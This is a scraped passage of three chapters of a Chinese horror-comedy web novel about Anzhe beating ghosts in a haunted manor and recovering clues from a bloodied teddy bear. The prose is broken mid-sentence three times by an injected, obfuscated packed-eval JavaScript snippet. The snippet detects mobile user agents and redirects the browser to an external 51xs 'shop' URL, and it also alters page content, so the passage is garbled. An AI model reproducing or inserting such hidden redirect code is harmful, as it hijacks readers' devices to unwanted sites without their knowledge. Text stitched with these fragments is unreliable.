小胖子也不是个傻的,话还没说到一半,自己就先回过味了。
那会儿安哲提溜着小胖子冲进主卧,身后庄灿紧跟着就冲了进来。
冲进主卧后,安哲把庄灿往床上一甩,然后踉跄了几步,脱力般地跌落在了地上。
见状,刚冲进来,反手甩门把门关上的庄灿愣了一下。
狂喜一声嘶鸣后,庄灿仰头鲸吸狂暴化,红着眼睛就朝安哲冲了过去。
“桀桀桀桀桀,我要把你扒皮抽骨……嗷!!”
邦邦几拳下去,在头盖骨清脆的裂开声里,庄灿狂暴模糊的眼神一下子就变得清澈起来。
紧接着,房间里,原本偷偷往小胖子身上缠的人皮也不裹了,正对着小胖子流血泪的画框女鬼也不哭了。
动作飞快地往小胖子怀里塞了个收音机,女鬼对小胖子露出了个讨好笑容。
揍了他,可就不能再揍我们了哦。
差点就被人皮床板鬼活裹了的李祥:“……”
徒留庄灿一个肿胀鬼影在那接受邦邦暴打,打得那么大的一个鬼影痛哭流涕。
“你故意的呜呜……你仙人跳!你不要脸!你钓鱼!”
脑袋都被揍瘦又揍胖了一圈,庄灿球努力护住自己脑袋,腥臭的水液和血泪一起狂飙。
“我那不是为了增加点真实度吗,也没对你实际动手啊,怎么就生气成了这样!”
见庄灿晃着自己智商不多的脑袋,赤急白脸地试图和他讲理的模样,安哲捏着拳头冷笑一声,并不上当。
“你那是不想动手吗,你是已经动手,没有打过我罢了。”
群众的眼睛是雪亮的,真当我会信你的鬼话?
那么钩直饵咸的试探都能上当,还敢在这里狡辩说你没想动手!
锤到收音机的咀嚼声放完,安哲甩了甩手不再动作。
庄灿配合地停下了惨叫,缩在角落里有一搭没一搭地哼哼。
好疼,头盖骨上的裂缝变成三条了!
眼泪汪汪地调动尸水精华去滋养头盖骨,庄灿团成一团瘫在角落,已然变成了一个失去梦想的废球。
“话说这个,你真的没有印象了吗?”
举着那会儿趁乱收起的实验记录·残缺版,感觉这是个重要线索的安哲不死心戳了戳庄灿球,把纸往庄灿脸前怼。
“一点都想不起来了吗?”
看见那张纸的那一刻,庄灿眼睛瞬间变红。
阴冷狂暴的气息冲击波般凶猛扩散,庄灿仰头嘶吼,还没吼出来就被安哲一拳锤了回去。
庄灿:“……”
安哲不死心地再举,庄灿仰头,眼睛变红,安哲再锤。
举,仰,锤;举,仰,锤……
几个循环后,庄灿看着自己呈一片蜘蛛网裂痕的头盖骨,汪的一声哭了出来。
“不带这么欺负鬼的……”
【收集到庄灿的负面情绪,能量值+999!】
面对庄灿血泪斑斑的凄厉控诉,以及房间内另外两只鬼瑟瑟发抖,惊恐不已的慌张眼神。
发现从‘事件亲历者那得到线索’这条路好像走不通的安哲叹了口气,将那页残缺不全的实验记录收进了系统背包里。
“……真的一点都想不起来了吗?”
面对安哲不死心的再度询问,庄灿眼冒红光,不过这次他不等安哲动手,自己就先行一个巴掌抽在了脸上,强行保持住了思维的清晰,以及情绪的冷静。
“真没有,”面对生活的毒打,庄灿原先那么容易激动暴躁的一个鬼都变得情绪稳定了起来。
“您放心,收集到当年惨案的真相就走是吗,放心我们一定通力配合,倾尽全力地帮您找到当年真相!”
哪个傻-逼当年犯的事啊,别让他给逮到了!!
不仅庄灿表态,房间里,画框女鬼和人皮床板鬼也立马跟上表决心,床板鬼晃着床板敲得咚咚响,都快把还坐在床上的小胖子给颠吐了,决心表得一个比一个激烈。
“等等哥,你让我先下去你再晃。”
李祥抱着收音机,抖着腿颤巍巍地下了床。
下床后,小胖子软着腿,哆哆嗦嗦地来到安哲身旁。
站在安哲身边的那一刻,小胖子腿也不抖了,心也不虚了,就连腰板都挺直了起来,甚至都敢直视庄灿这个看起来就很恐怖吓人的肿胀鬼影了!
哼哼,懂不懂什么叫狗仗人势……不对,懂不懂什么叫狐假虎威……也不对……
站在安哲身边吭哧了半天,学习也不怎么好的李祥皱眉,在这一刻深深意识到了学习的重要性。
不好好学习,装逼都装不好啊!
站在那攒了半天的词,时间久到安哲都好奇看过来了,最终,小胖子拍了拍安哲,又拍了拍自己胸-脯,冷笑睥睨道。
“大哥,罩我的,懂?”
“……懂懂懂。”
见这小胖子起了个这么大的范,还以为他也是个什么了不得人物的庄灿偷偷翻了个白眼。
你最好祈祷你俩能一块走,不然等你大哥走了你要是还在,我tm必生啃了你……
被欺压得实在受不了了,庄灿在角落里把自己团成一个球,在心里碎碎念着自闭。
然后不等他口嗨几句,正和安哲说话的小胖子突然扭头,看向庄灿勃然大怒。
“你刚是不是在心里偷偷骂我了?”
“……我没有!”
庄灿被吓得打了个哆嗦,嘎巴一声把正在抱着休养的脑袋都给掰歪了。
【收集到庄灿的负面情绪,能量值+444!】
我他吗……神经病啊!
心疼地把自己脑袋掰正,庄灿看着好奇看来,光明正大看戏吃瓜的安哲,心里苦水狂冒。
还真是物以类聚人以群分,蛇鼠一窝坑壑一气!哪冒出来的小傻-逼,呸,活宝啊,感知这么敏锐的吗?!
庄灿不信邪,窝在那里继续偷瞄。
结果他骂一句,小胖子回一次头,瞪一眼,小胖子又回一次头。
来来回回的,直到安哲有点烦了,走过去邦邦两拳锤在庄灿的大脑袋上,庄灿这才老实下来。
果然,这个狡猾的人类肯定也不简单,这家伙一定是那个小变态用来示弱钓鱼的,他们要是真信了上去动手,肯定又是一顿暴揍!
觉得自己看破了安哲新一轮的钓鱼计谋,庄灿和另外两个同伴交换了下眼神,缩在那里得意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521030|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的摇头晃脑。
“……大佬,这样真的可以吗?”
另一边,听完安哲的计划,小胖子在震撼果然大神思路广之际,也有些担忧。
“我不是说质疑你啊大佬,我就是有点担心,你也知道我很菜的,等下你动手后留我一个人,他们会不会反手把我绑了来威胁你?”
安哲思索片刻,觉得以庄灿这群人鬼贼鬼贼的尿性来说,这事很有可能发生。
“你们会这样做吗?”
安哲扫了眼过来偷听作战计划的庄灿。
那必然的啊!
肿胀鬼影果断摇头。
呵呵。
安哲冷笑一声,他扫了眼系统面板,发现庄灿这家伙是真的不记打,在伤口没那么疼后,这会儿贡献的能量值又低了不少。
于是乎安哲补了声“哥哥”,抬手邦的又在庄灿脑袋上补了一拳。
“不是,我还没动手呢!”
听到自己刚补好的头盖骨‘咔’的一声又裂开来,庄灿眼泪瞬间飙出,差点以为自己心声泄露。
“我没动手啊,我就是这么想想而已,心里想想也不行吗,我没准备动手啊!!”
庄灿气得狂抖,阴森森的目光小刀子般嗖嗖的往小胖子身上扎去。
小胖子危机雷达哔哔作响,立马把安哲喊过来将庄灿逮了个正着。
“常威,你还说你不会武功!”
面对李祥的生气指责,不知道常威是谁,也不清楚这是什么梗的庄灿冷笑一声。
他将自己团成一团,往地上一趟,大有不行你就把我打死吧的架势,整个鬼一副大写的摆烂与心灰意冷。
李祥:“……”
能将副本里的鬼给折腾成这样,大佬果然是大佬。
商议一番后,安哲将计划修改,他本来准备独身一人去二楼的小厨房里转转,看能不能收集到武器和线索,现在听完李祥的提醒,安哲决定把所有人都带上。
“……我们也要去吗?”
听到计划里似乎涉及到了他们,团在地上原地自闭的庄灿有点不太愿意。
陪安哲去一楼演戏还好,一楼的鬼都不是很强,更何况刚才在楼下,他演的也是英武追人的戏份。
但二楼的鬼可是都很有眼力的,到时候当着诸位同僚的面,被一个看起来就很弱鸡的人类按在地上揍,他以后在二楼这片区域里还怎么混?
鬼难道就不要面子了吗??
庄灿愤怒握拳。
几分钟后,在安哲有理有据的说服下,被揍得瘦了一圈又胖了一圈的庄灿捂着脑袋,一脚踢开了二楼餐房大门。
“老登,开门爆金币了!”
一脚将餐房大门踢到开裂,在安哲的物理说服下幡然醒悟的庄灿捏着拳头,狞笑着冲了进去。
只有他一个鬼被打的话,确实比较丢鬼,可如果大家都被打过,那就不是丢鬼不丢鬼的事了,那是强敌入侵啊!
邦的一拳将藏在厨房里的菜刀鬼锤出,庄灿冷笑一声,发现狐假虎威好像确实很爽。
“快醒醒!”
人皮床板鬼载着安哲和小胖子,哒哒哒地爬了进来。
率先冲进来的庄灿指着菜刀鬼藏身的菜刀,颐气指使地呵斥道。
“识相点懂吗?还不快出来,我老大看上你藏身的菜刀了!”
11. 唐顿庄园(十一)
——▇▇!
愤怒的嘶鸣声从二楼深处响起,一楼大厅里,重新排好了守夜顺序,闭上眼睛刚准备入睡的几人瞬间惊醒,没有了半点睡意。
“怎么了这是?”
黑框眼镜男经过今晚身边队友“大变鬼影”的神秘惊喜,现在疑神疑鬼的,看什么都要过度猜疑。
推了推鼻梁上架着的黑色眼镜,眼镜男想了想,有些犹豫。
“会不会是他们在上面,其实他们还没死?”
肯定没死,没死就对了。
祁槐辛冷笑一声,并不接黑框眼镜男的话茬。
那个小变态能从初始房间三个鬼的手里活下来,肯定不是什么简单的善茬,要是就这么简单地翻了车,那才叫不对劲。
偷偷往嘴里塞了个快速回复的道具,祁槐辛眼睛微闭地靠在沙发上,他扫了眼自己所剩无几的积分和道具,表情愈发阴沉。
大意了,没想到这新手副本里暗藏着这么多玄机,向来没用的颜值区主播又蹦出了这么个活蹦乱跳能闹腾的奇葩。
不过好在,经过他的一番谋划,那个小变态已经和那个没用的拖油瓶胖子一起,被困在了二楼,身上还挂着众多鬼怪的仇恨值。
就让他们先去趟雷吧,杀人之后得到鲜血的鬼会暂时满足,今晚他们都是安全的。
况且今晚才第一夜,再死两个人的话,线索会解锁得更多,到时候把剩下的两人杀了,完成副本最后的探索后,就可以进行圣器的唤醒了。
圣器啊,那可是个好东西。
想想教团内部文献中对圣器的记载,以及他偷偷带进来的那件道具,祁槐辛舔了舔嘴,眼中闪过一抹贪婪。
说不定,最终掌控圣器,影响神明的会是他呢。
与此同时,二楼的小厨房里。
被庄灿粗暴唤醒的菜刀鬼愤怒嘶鸣了一声,抬手就朝庄灿扇去。
给你脸了是不是,敢来这里打扰我?
锐利的刀锋幽然闪过,空气中散发出‘嗤嗤’的利响。
庄灿本就打不过厨房中的菜刀鬼,不然也不会放弃这阴冷气息十足的滋润之地,去主卧和其他两个鬼挤通铺。
此刻见那幽冷刀锋向他划来,被菜刀鬼能力克制的庄灿脸都绿了,他二话不说扭头就跑,十分麻利地蹿到了安哲身后。
“呵呵,老棺材板还敢反抗,”成功蹿到安哲身后,庄灿的底气再次足了起来。
他举起沙包大的拳头,指着被他打扰后愤怒到现形出来的菜刀鬼,毫不客气地威胁。
“我告诉你,我们老大已经来了,再不老实点听话,今天就是你的死期!”
“好好好,守门使大人知道你在外面又认了个新老大吗?”
看着三鬼一人团结一心,动作一致地缩在安哲身后的样子,菜刀鬼皱起苍老的脸,抬眼向安哲看去。
“等我砍了你这个新老大,再抓你们去向守门使大人交差,说不定大人一高兴,再赏我几滴圣池血液呢,咯咯咯!”
菜刀鬼掩唇娇笑,配合着她满是皱褶的面容与干瘪身材,场面说不出的惊悚。
就再菜刀鬼说话期间,悬浮在她手边的菜刀轻轻动了,几道更为迅疾的刀痕飞速划过,急速嗡鸣着朝安哲冲来。
“老登你偷袭?你还要不要脸!”
躲在安哲身后的一大团分崩离析,三鬼一人分作四头,连滚带爬地逃命。
而在前方,被刀锋劈开的安哲身影一晃而散,已然飞身来到了菜刀鬼的正前方。
“别想跑!”
将想要往菜刀里逃去的鬼影抓住,安哲把菜刀鬼往地上一贯,捏起了他结实的小拳头。
邦!邦邦!邦!!!
惨烈的嘶鸣声在这方小空间内响起,嗡鸣扩散地震碎了摆在水池上的瓷碗。
小厨房的门窗边,舍弃了自己最爱的大床板,暂时来充当隔音层消音器的人皮鬼抖了抖,包着门缝和窗户的人皮贴紧得更加用力。
听到外面熟悉的邦邦声,连滚带爬躲进了橱柜里,脑袋还被撞了一下的小胖子松了口气。
他安心地在橱柜里蹲坐下来,准备等完事之后再出去,努力做一个不拖后腿的好拖油瓶。
窸窸窣窣,轻微的爬行与摩擦声在邦邦的背景音下轻轻响起。
有什么东西悄悄爬了过来,小心地向小胖子靠近而去。
蹲坐下来的那一刻,小胖子手边一软,他下意识地捏了一下,发现他按到了一个触感柔软,中间却很坚硬的东西。
李祥:“……!!!”
能抵挡一次鬼怪伤害的保护罩悄然破开,李祥浑身汗毛倒竖,连滚带爬地从橱柜里滚了出去。
翻滚出去后,刚才包裹着他的阴冷气息消散。
李祥回过头来,发现刚才他待着的橱柜里空无一物,而他的手中,正握着个触感柔软坚硬,十分诡异的物体。
时间仿佛在这一刻缓缓冻结,小胖子低下头去,一卡一卡地看向自己手中。
在他肉乎乎的手掌里,一个浸透在血里风干后绒毛打结,褐色发暗的小熊正开膛破肚地躺在他掌心中,它抱着怀里的小刀,抬头冲李祥露出一个血淋淋的微笑。
你好。
小胖子:“……!!!”
一股寒意从脚后跟直冲天灵盖,毫不夸张地说,这一刻李祥人都吓麻了。
阴冷恐怖的气息盘亘在他手掌上,半边手臂逐渐发麻发凉,他盯着手里还在滴血的毛绒小熊,明知不对,视线却仿佛被黏住了般,怎么也无法挣脱。
哗哗的水声从远处响起,模糊散漫地找不到边际。
窒息冰冷的感觉一点点攀爬而上,仿佛有无声的水流在自下而上地将他逐渐淹没,李祥拼命挣扎着,灵魂逐渐超脱,他眼睁睁地看着自己的肉-体呆滞地站在原地,表情绝望而又惊恐。
“嘻嘻。”
耳边,疯狂而又呢喃的呓语交杂混乱,有人在他耳边轻轻嬉笑着,嗓音尖利地向他说着什么东西。
好深,好冷,好痛……
李祥大口大口地呼吸着,冰冷的水流顺着他的口鼻灌入。
就在他即将溺死的那一刻,宛如千斤坠般被死死压住的掌心却突然猛地一轻,安哲拿走了他手上的玩偶小熊,好奇探头。
“这是什么,你新找到的神奇小道具吗?”
“呼……呼……”
仿佛梦游般的癔症被瞬间点醒,猝然回神的李祥颤颤发抖着大口呼吸,冷汗如雨般顺着他的额头噼啪掉落,小胖子看着安哲,视线还有些恍惚。
“大佬?”
“他这是怎么了?”
单手拎刀的安哲皱眉,低头向手里的玩偶小熊看去。
修长白皙的手掌中,褐色发暗的小熊抱着柄血迹斑斑的手术刀,人畜无害地躺在安哲手心。
安哲收拢手指,在小熊脑袋和肚子上捏了捏。
肚子里发黑棉花都差点被从破口处挤出的小熊佁然不动,摊在安哲掌心坚定装死,面带微笑的样子看起来很是乖巧。
“你这是什么鬼运气,”发现小熊肚子里好像藏着什么东西,在那边殴打了菜刀鬼半天,结果菜刀鬼就是咬死不肯给他透露线索的安哲很是羡慕。
“随便一躲都有线索主动上门,这么顺的吗?”
“……你管这叫‘顺’吗安哥,这是真·鬼运气啊!”
看着安哲一脸羡慕的样子,刚在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521031|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鬼门关里走了一遭的小胖子心态大崩,揪着安哲的衣角眼泪汪汪。
虽然这个姿势是不太好,看起来很没有男子汉的气概,但此时此刻,揪着安哲衣角的李祥决定抛去世俗偏见,坚定地做回自我。
他从来没有这么安心过!!!
果然,之前的轻松写意都是大佬在身边带来的错觉,这副本对他们普通人来说,还是危机四伏的啊有木有!
小胖子在心里不断地碎碎念着,揪紧安哲的衣角不松手。
而安哲左手小熊,右手菜刀,身边的衣角处还挂着个李祥,一时间也有些发愁。
小熊肚子里有东西,但是菜刀鬼明显还不服他,正躲在菜刀里和他暗自较劲,他没有多余的手去掏藏在小熊肚子里的线索了。
安哲想了想,收拢手掌又捏了捏小熊的肚子,小熊被他猝不及防的大力下差点被捏得吐棉花。
用力收紧了自己破碎的肚子,小熊抱紧怀里的手术刀,用手术刀死死抵住熊肚的破口处,整个熊一副非暴力不合作的样子。
“安哥,我来!”
李祥明显还是怕的,刚才差点被深水溺死的感觉还残留在他的心头,小胖子这会儿整个人都在细细的抖。
但看到安哲需要帮助,李祥还是立马站了出来,胖乎乎的脸上满是坚定。
“我……我来掏!”
话音落地的那一瞬间,破碎小熊的视线一下子就扭了过来,感受着那血红纽扣做成的眼睛中传来的森森寒意,李祥抖了一下,扭头看向安哲。
“安哥,你抓稳。”
“放心,”安哲将手握紧,指尖牢牢地扣在玩具小熊怀里抱着的手术刀上,拎着菜刀的右手跃跃欲试。
“它真的会动吗?”
“……起码刚才会。”
肉眼可见的,在安哲举起右手上的菜刀后,原本气息还有些躁动的小熊瞬间老实。
它紧抱着怀里血迹斑斑的手术刀,似乎将之当成了最后的依仗,而后目光控诉地向安哲和小胖子看去,眼神无助而又凄凉。
李祥:“……”
老弟你刚才淹我的时候可不是这样子的,小东西还有两幅面孔?
压下心中诡异升起的负罪感,李祥扒开玩具小熊肚子破口处的棉花,摸索一番后,将藏在棉花中的纸条拿了出来。
那是一张破损的秘仪记录,上面记载了几条划着重点符号的奇怪条件,就是写字的人异常手抖,笔画连在一起很难辨认。
就在安哲低头,努力辨认那些鬼画符文字到底写的是什么之际。
站在安哲旁边,帮安哲打量四周境界的李祥皱眉,突然发现了什么东西。
“安哥,你脸这怎么了?”
用手在自己胖脸上点了一下,李祥好奇问道。
“看上去有点红。”
“唔,刚才锤人的时候不小心划到了,不过没事,我特殊职业身体恢复得快,现在已经好了。”
安哲笑呵呵的,轻描淡写地将自己颜值主播的身份以一种更耸人听闻的方式说了出来。
“特殊职业……啊,特殊职业?”
见安哲如此淡定,李祥站在旁边愣了半天,硬是没敢往比较歪的地方想。
大佬说的特殊职业,肯定是指隐藏职业的那种特殊吧?
对对,一定是这样。
同一时间,已经老化破旧的木质地板上,一滴血渗透了下去,通过古堡内的阵法向下层层传递着。
地底深处,血池猩红地回旋着,血液组成的浪花翻涌。
那一滴血不断地向下渗去,血池深处,躺在池底的人影好像动了一下。
永不停歇的潮声阵阵,仿佛哗啦啦的笑声。
12. 唐顿庄园(十二)
“采取血▇▇华沃灌,▇▇精粹,以形炼之,聚为一池,敬奉至上▇▇▇主,虔心诚意……”
纸条很短,书写纸条的人字体又很抽象。
安哲和李祥凑在一起研究了半天,连蒙带猜地将纸条上的内容解读出了大半。
简单来说,这应该是邪教徒的神秘仪式,要用血液、眼泪、哀嚎和其他纸条上没提及的东西,来敬奉邪神,换取能力和庇佑。
不知为何,看着那张满是血污,不少字都看不清了的破旧纸条,特别是上面记录的残缺仪轨,安哲总有种淡淡的熟悉感。
难道他也有当变态的潜质?
安哲将纸条收进系统背包,却得到了“任务道具无法收纳”的提示,他愣了一下,下意识地向小胖子看去。
“那他给我的任务道具为什么可以?”
【因为那两件任务道具不是通关的必要道具,属于拓展支线或者主线深挖下的内容啦】
小系统给安哲贴心解释:【影响主线进展的重要道具都是不可以放进背包中哒,避免部分玩家拿到重要道具后私藏起来,影响整个本的进度】
“道具没法藏进系统背包里,也方便玩家们互相厮杀对吧。”安哲秒懂。
【……】
小系统有心想要解释,又发现安哲说得好像没错。
纠结中,安哲已经把那张纸条给了小胖子,并贴心叮嘱。
“收好了哥哥,万一落进祁槐辛那几个神经病的手里,把这个交出去说不定他们还能饶你一命。”
“……哥你别喊我哥,你是我哥,大佬哥你说话正常点,我有点害怕。”
被安哲猝不及防的一声“哥哥”吓得心脏狂蹦,李祥皱了皱胖脸,小心地向安哲看去。
“怎么突然把这个给我了?”
“我觉得你运气比较好。”
安哲两只手都占着没法对小胖子进行拍头鼓励,只好用眼神表达对他的赞许。
“说不定你的鬼运气起作用,就把剩下的纸条给集齐了。”
“……”,想想自己那见了鬼的好运气,无法反驳的李祥心梗得不行。
“那,那我尽量……”
就在这欲拒还迎,欲语还休,希望他来,又害怕他不来的古怪气氛里,李祥侧目,眼睁睁地看着安哲和菜刀鬼沟通。
“来嘛聊聊,给我说一下你知道的情报?”
“刚才进门的时候你不是喊了守门使吗,说说?”
“还有那个圣池血液,那是什么东西?”
安哲的态度很好,这次也没有光顾着揍鬼,也主动问了。
奈何菜刀鬼似乎是在刚才的打斗中被打自闭了,此刻缩在菜刀中,不论安哲怎么问都不出声,主打的就是个装死。
安哲见状,有些发愁。
“你们做鬼的嘴都这么硬吗?”
“……我觉得我有点冤枉,我明明很配合的。”看着安哲向他扫来的疑惑视线,知道他在感慨什么的庄灿又要掉小珍珠了。
第一次遇见的时候能怪他不说吗?
这家伙上来就对他喊哥哥,喊完之后二话不说捏着拳头就开打,把他锤得满屋乱窜嗷嗷叫,愣是一个字都不问呐!
庄灿现在想想都觉得生气。
他是那么有骨气的鬼吗?
他不是啊!
早说你要问线索,像在血食献祭的那个梦境里一样,你先问吗,问完之后意思意思动动手,那他不就说了?
早点把话挑明不好吗,非要追着他多揍那几顿打!
看着外面庄灿他们低眉谄笑的样子,安哲手里,躲进菜刀中的菜刀鬼震怒,连带着那把看起来很破旧,上面粘带了不少枯褐色血点的菜刀也发出嗡鸣。
“你个不要脸的,守门使大人那样器重你,你就这样背叛了他!”
“你可拉倒吧,那个老登想把我拉进阵法里一把攥住,顷刻炼化不是一天两天了,你觉得他好那是因为你两是姘头,那老登有点好东西就想着分你一份。”
“我又不是他姘头,我是被他欺压的,巴不得他赶快死的好吗!”
菜刀鬼:“……”
面对着庄灿理直气壮的发言,不知道该说些什么反驳的菜刀鬼气得浑身都抖。
手里的菜刀嗡嗡作响,安哲敲打了半天,见菜刀鬼始终不肯配合的样子,想了想无奈说道。
“要不把这菜刀给折了?”
“……万万不可啊大佬!”
没想到安哲长得这么眉清目秀的,张嘴就是要杀鬼的狠人,被安哲心狠手辣的样子惊到的庄灿愣了一下,下意识阻拦。
“要不再给这个老登一个反思的机会?这把刀据说当年杀了个很特殊的人,沾上血后开了光的,轻易折不得。”
……这都什么跟什么,这家伙真的不是瞎扯的吗?
或许是被安哲认真的样子吓到,刚才还在嗡鸣震颤的菜刀也不震了,此刻躺在安哲的手里安静如寄,平静的就像是死了一样。
难得看到菜刀鬼如此老实,正趴在安哲左手中装死的玩偶小熊抬头,偷偷地瞄了安哲一样。
片刻后,仿佛下定了什么决心般,玩偶小熊用怀里的手术刀刀柄戳了戳安哲,示意他将自己放下。
从庄灿身上沾了点水,玩偶小熊抱着手术刀,用刀柄处的圆头在案板上歪歪扭扭写字。
“救救我的主人……我可以给你一个……独家消息?”
巴掌大的玩偶小熊太小,怀里的手术刀又有点大,拖着手术刀把字写完后,玩偶小熊累得肚子里的棉花都快跑出来了。
伸手把黑棉花往肚子里塞了塞,玩偶小熊抬头,用来充当眼睛的猩红纽扣满是祈求和渴望。
“唔,也行。”
反正现在线索卡住了,能被小胖子用天赋吸引过来,还是无法放入背包中的线索,应该还是蛮重要的。
而且……
安哲垂眸,向右手中安静装死的菜刀鬼看去。
手上的这家伙不配合,刚好找点头铁的东西砍砍。
就在安哲点头答应的那一刻,安哲的系统面板自动出现,弹出了个新的任务。
【任务三:救出琪琪的主人,当前状态(未完成),任务奖励:积分,来自琪琪的独家消息】
原来这个小熊叫琪琪,还挺可爱的。
安哲从小在末世
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521032|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长大,没见过什么玩具。
此时看着玩偶小熊乖(装)乖(死)躺在他手里的样子,虽然这小熊身上满是血污看起来又破又丑,安哲还是没忍住,又上手偷偷地捏了捏。
玩偶小熊正伸爪往肚子里塞棉花,被安哲猝不及防的一捏,肚子里的黑棉花差点又被捏了出去。
偏偏这家伙武力值太高它又打不过,玩偶小熊抱着怀里的手术刀,气得抬头使劲瞪安哲。
“不好意思,我没见过像你这么柔软的玩偶,”有些新奇地回味了一下刚才手上的柔软触感,安哲耳朵尖微红。
“刚才没忍住,抱歉。”
“唔,这样啊,没事,那我原谅你了。”
在一群人&鬼震惊的目光中,刚才一直用手比划,甚至讨论都是用手术刀划拉字的小熊哼哼开口,它嗓音粗粝,沙拉拉的,听起来很别扭。
“我主人以前也总是捏我,”提及到自己的主人,小熊粗粝的嗓音都柔和了几分,声音满是骄傲。
“她说我是世界上最柔软的小熊!”
“对了,这个给你。”
仿佛确定了他是真正可信的人般,玩偶小熊将肚子里的棉花掏出。
倒着抱着手术刀,小熊将手术刀的刀尖伸进自己肚子里,摸索了片刻后,它歪着身子,将后胸口处的皮挑开。
黑色的污血潺潺渗出,玩偶小熊伸爪进去,从里面拽了条褐色丝巾出来。
“你们把这个洗洗,”小熊将之前掏出的棉花重新塞回肚子,黑黢黢的棉花受到污血浸染,变得更黑了几分。
它用手术刀的刀柄抵住肚子破口处的棉花,似乎有点虚弱,声音蔫蔫的。
“上面记载着救助我主人的办法。”
“好家伙,”在一旁看戏的庄灿明显被震到。
“原来你把东西藏在这里,怪不得那个老登找了好久都没找到。”
面对玩偶小熊瞬间投来的凶狠目光,庄灿赶忙摆手,表示自己现在已经弃暗投向更暗,目标是干掉那个守门老登。
安哲将玩偶小熊放在案板上,拎着菜刀陪着小胖子去厨房水槽处洗丝巾。
感受到了空气中沉重的氛围,李祥的嘴嗫嚅两下,想要找个话题聊聊破冰。
但他本来也不怎么会聊天,眼下一着急,就更没有头绪。
纠结了半天后,小胖子想起安哲之前说过的话,眼前猛地一亮。
“安哥,你说你小时候没玩过小熊这样的玩偶,那你小时候玩的都是啥?”
李祥以为安哲会说变形金刚,铁皮小跳蛙,或者也有可能是田里的野草山芋,蚱蜢青蛙。
不管是什么听起来都很童真童趣,能冲淡眼下这沉重的氛围。
结果拎着菜刀的安哲听到他的询问后,很明显的愣了一下。
他想了想,想起系统说过小胖子他们的世界没有丧尸和末日,就换了个更能让小胖子理解的说法。
“唔,我以前小时候不懂事,”安哲沉默片刻,明显有些不好意思,“都是把死人脑袋拧下来当球踢着玩的。”
其他人&鬼:“……”
不是。
哥,这么生猛的吗?
13. 唐顿庄园(十三)
原本就很沉重的氛围,在安哲回答完后直接冰冻。
问出这个问题试图来缓和气氛的小胖子听到安哲这直通地府的回答后,憋了好久才憋出话来。
“那安哥你家……还挺复杂的哈。”
能有那么多死人尸体,到底是什么家庭啊啊啊!
不同于小胖子的纠结,在场的其他鬼听完安哲的话后,纷纷从心地缩成一团。
难怪他们打不过这家伙……
从小就把死人脑袋拧下来当球踢的变态,长大了把他们这些鬼的脑袋拧下来当球踢,还不跟玩的一样?
多正常啊!
闻言,本想暗中坑害安哲一把的菜刀鬼也老实下来,继续安静如寄地蜷缩在菜刀里。
昏暗无光的厨房中,流水声哗啦啦地响着。
李祥站在水池旁冲洗着那条满是血污的丝绢,精神有些恍惚。
哗啦,哗啦啦,流过手上的水流开始变得冰冷,哗啦,哗啦啦,手里攥着的丝绢逐渐变得粘稠。
在愈发昏沉的视线中,李祥冲洗丝绢的动作变得越来越机械。
恍惚间,有什么庞然大物出现在了这间小厨房里,山倾般宛若实质的目光缓缓下垂,最终落到了……
他旁边的位置?
“啧。”
正在敲击菜刀,不死心想问出点东西的安哲皱眉。
他拎着菜刀,原本轻松愉快的脸上表情冰冷,皱眉环视一圈后,被偷窥的感觉又悄悄消散,安哲单手拎刀,恨得牙痒痒。
又是这个偷窥了他这么久的死变态,最好别被他逮到,逮到必刀了你!
“小胖……李小胖……你没事吧?”
安哲伸手在李祥发呆的眼前挥了挥,看着李祥盯着手上的丝绢愣愣发直的眼神,安哲歪头想了想。
片刻后,在屋内一圈鬼惊恐的目光中,安哲举起菜刀,用刀背在铁质水池旁狠狠敲下。
铛铛的敲击声刺耳响起,伴随着菜刀鬼愤怒不已的嘶吼,陷入了癔症中的李祥猛地一抖,从刚才的诡异状态中回过神来。
“……雾草!”
李祥心有余悸地喘了口气,看向安哲的眼神满是感激。
“多谢安哥救我狗命!!”
刚才的经历堪称恐怖,仅仅只是惊鸿一瞥,甚至只是被那诡异的目光擦了一瞬他就变成了这样,至于被那目光所盯着的安哲刚才会是什么感受,李祥完全不敢想。
这就是大佬的实力吗,实在是太厉害了!
“说这个干什么,哥哥你真是太客气了。”
安哲笑眯眯地接下了李祥的夸奖,顺便用共轭兄弟关系刷了下系统的情绪值收集。
“洗得差不多了,应该可以了。”
李祥将揉搓了好几遍的丝绢拧去水分,小心展开,借着厨房小窗户处透进来的月光,和安哲一起仔细阅读着上面的文字。
几分钟后,读懂了的李祥吸了口凉气,眉头使劲皱起。
“没想到古堡外面的爬山虎下竟然埋着这个,专门用邪物将尸体震住,多大仇多大怨?”
“歧以五石之精,荒冢莫,害子孙,镇魂镇恶,永世无穷也……”
安哲看着丝绢上模糊不清的字迹,下意识蹙眉。
